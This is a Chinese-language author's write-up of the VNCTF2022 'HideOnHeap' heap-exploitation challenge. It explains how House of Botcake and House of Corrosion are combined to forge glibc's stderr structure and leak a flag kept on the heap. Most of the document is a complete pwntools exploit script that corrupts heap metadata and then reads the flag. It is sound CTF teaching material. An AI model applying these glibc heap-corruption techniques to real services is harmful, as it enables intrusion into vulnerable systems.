VNCTF2022 HideOnHeap Writeup

HideOnHeap

1.构造出堆重叠

题目白给了一个 double free 的机会,但是由于 free 中清空了 size 数组,所以无法在 free 之后修改堆块。这里考虑用 House of botcake 的方法来构造出堆重叠可以 UAF,简单的说就是让堆块同时存在于 Unsorted Bin 和 Tcache 中,这样申请取回时可以申请到两个相同地址的堆块。

2.泄露 Flag

题目中没有 show 函数,大家可能会想到用 IO leak,但是在本题中,也同样不存在 IO leak 所需的 IO 函数。

所幸的是,在题目初始化的环节中,已经把 flag 的内容读入到了堆中,那么我们所需要的就是泄露这个堆块上的内容。

这个泄露的方法有很多,我考虑的是利用 __malloc_assert 中的 __fxprintf ,这个函数是一个 IO 函数,并且进入内部发现在第一个参数传参为 NULL 时,会变化成 stderr,所以可以想到利用 伪造 stderr 结构来泄露堆块上的数据。

但是我无法泄露堆空间的指针,就算是我通过爆破 1/16 能够申请到 stderr 空间,我也没有办法往里面写入堆空间地址。

这里又可以考虑使用 House of Corrosion,可以参考我的这篇文章 House of Corrosion 原理及应用

我们可以用 House of Corrosion 来打 stderr,并且同时设置_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。

  1. 其中最需要注意的就是 _flags 的内容,由于写入的堆块地址可控的只有末三位,但是如果要通过 stdout 来 leak,需要在_flags 要求满足以下三个条件,其中条件 1 和 2 都可以通过构造来解决,而条件 3 只能通过堆地址的随机化来碰撞。

    1
    2
    3
    
    _flags & _IO_MAGIC(0xFBAD0000) != 0 
    _flags & _IO_CURRENTLY_PUTTING(0x800)  != 0
    _flags & _IO_IS_APPENDING(0x1000) != 0
  2. 在满足了_flags 的条件后,然后再调用能用到 IO 的函数,就可以泄露堆块上 _IO_write_base 至 _IO_write_ptr 这一段,所以至少需要两个不同位置的堆块来写入,这部分区间的内容上如果恰好有 libc 地址则即可实现泄露 libc。

  3. 本方法的可行性主要在于这几个需要覆盖的地址都在 fastbinsY 之后,而且我们溢出过程中需要计算 SIZE 的关键变量是两个 libc 地址的差值 delta,在这个求差的过程中就把 libc 地址的随机化给抵消了,使得我们无需 leak 也可以做到写入多个地址。

  4. 这个攻击的思路目前应该还没有师傅提出过,这里的堆地址随机化爆破概率乘上利用部分覆盖爆破打 global_max_fast 的概率,应该是 1 / 32,实用性很强。

不过在本题中,由于是给 VNCTF2022 出题,所以我降低了难度,允许操作堆块实现任意申请,并且把申请堆块的数量限制放的很宽松,希望大家把更多心思放在泄露思路上。在这样的情况下,直接申请到 stderr 那部分的内容修改 flags,并部分覆盖 _IO_write_base 即可。需要注意的是,由于往 stderr 写入的堆块地址在储存 flag 地址的下面,为了避免堆空间的 1/16 爆破,最好让操作的堆块地址与写入 flag 的堆块地址相邻(不超过 0x100 字节),使得只需覆盖末尾字节即可。

3.EXP

经过一些思考,没能想到本题中的非预期,如果存在能够 getshell 的打法,希望可以联系我一起交流学习~

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./HideOnHeap"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 32:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("Choice:", str(idx))


def add(size):
    choice(1)
    sh.sendlineafter("Size:", str(size))


def edit(idx, content):
    choice(2)
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("Index:", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(0x88)  # prev 0
    add(0x88)  # 1
    for i in range(7):
        add(0x88) #2 - 8

    add(0x3F0)  # 9
    add(0x3F0)  # 10

    for i in range(7):
        add(0x3F0) #11 - 17

    edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
    edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' * 0x8 + p64(0x21))

    for i in range(2, 9):
        delete(i)
    delete(1)
    delete(0)
    add(0x88) #0
    delete(1)
    for i in range(7):
        add(0x88) #1 - 7
    add(0x118) #8 overlapping 1

    for i in range(11, 18):
        delete(i)
    delete(10)
    delete(9)
    add(0x3F0) #9
    delete(10)

    for i in range(7):
        add(0x3F0) #10-16
    add(0x3F0) #17
    add(0x3F0) #18 == 10

    for i in range(7):
         delete(1)
         edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)

    for i in range(7):
         delete(10)
         edit(18, '\x00' * 0x10)

    delete(1)
    delete(10)

    add(0x58)  #1
    add(0x18) #10
    add(0x3D8) #19
    add(0x18) #20

    edit(8, '\x00' * 0x88 + p64(0x91) + '\x80\xdb')
    add(0x88)  # 21
    add(0x88)  # 22 global_max_fast

    edit(18, '\xc0\xb5')
    add(0x3F0)  # 23
    add(0x3F0)  # 24 stderr

    edit(22, '\xFF' * 8)  # change global_max_fast
    edit(8, '\x00' * 0x88 + p64(0x14C1))
    delete(21)
    edit(8, '\x00' * 0x88 + p64(0x14D1))
    delete(21)
    edit(8, '\x00' * 0x88 + p64(0x14E1))
    delete(21)

    #change main_arena->top
    for i in range(8):
        edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
        delete(21)

    edit(24, p64(0xfbad1800) + '\x00' * 0x19)
    edit(22, p64(0x80))
    #gdb.attach(sh)
    add(0x300)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
0%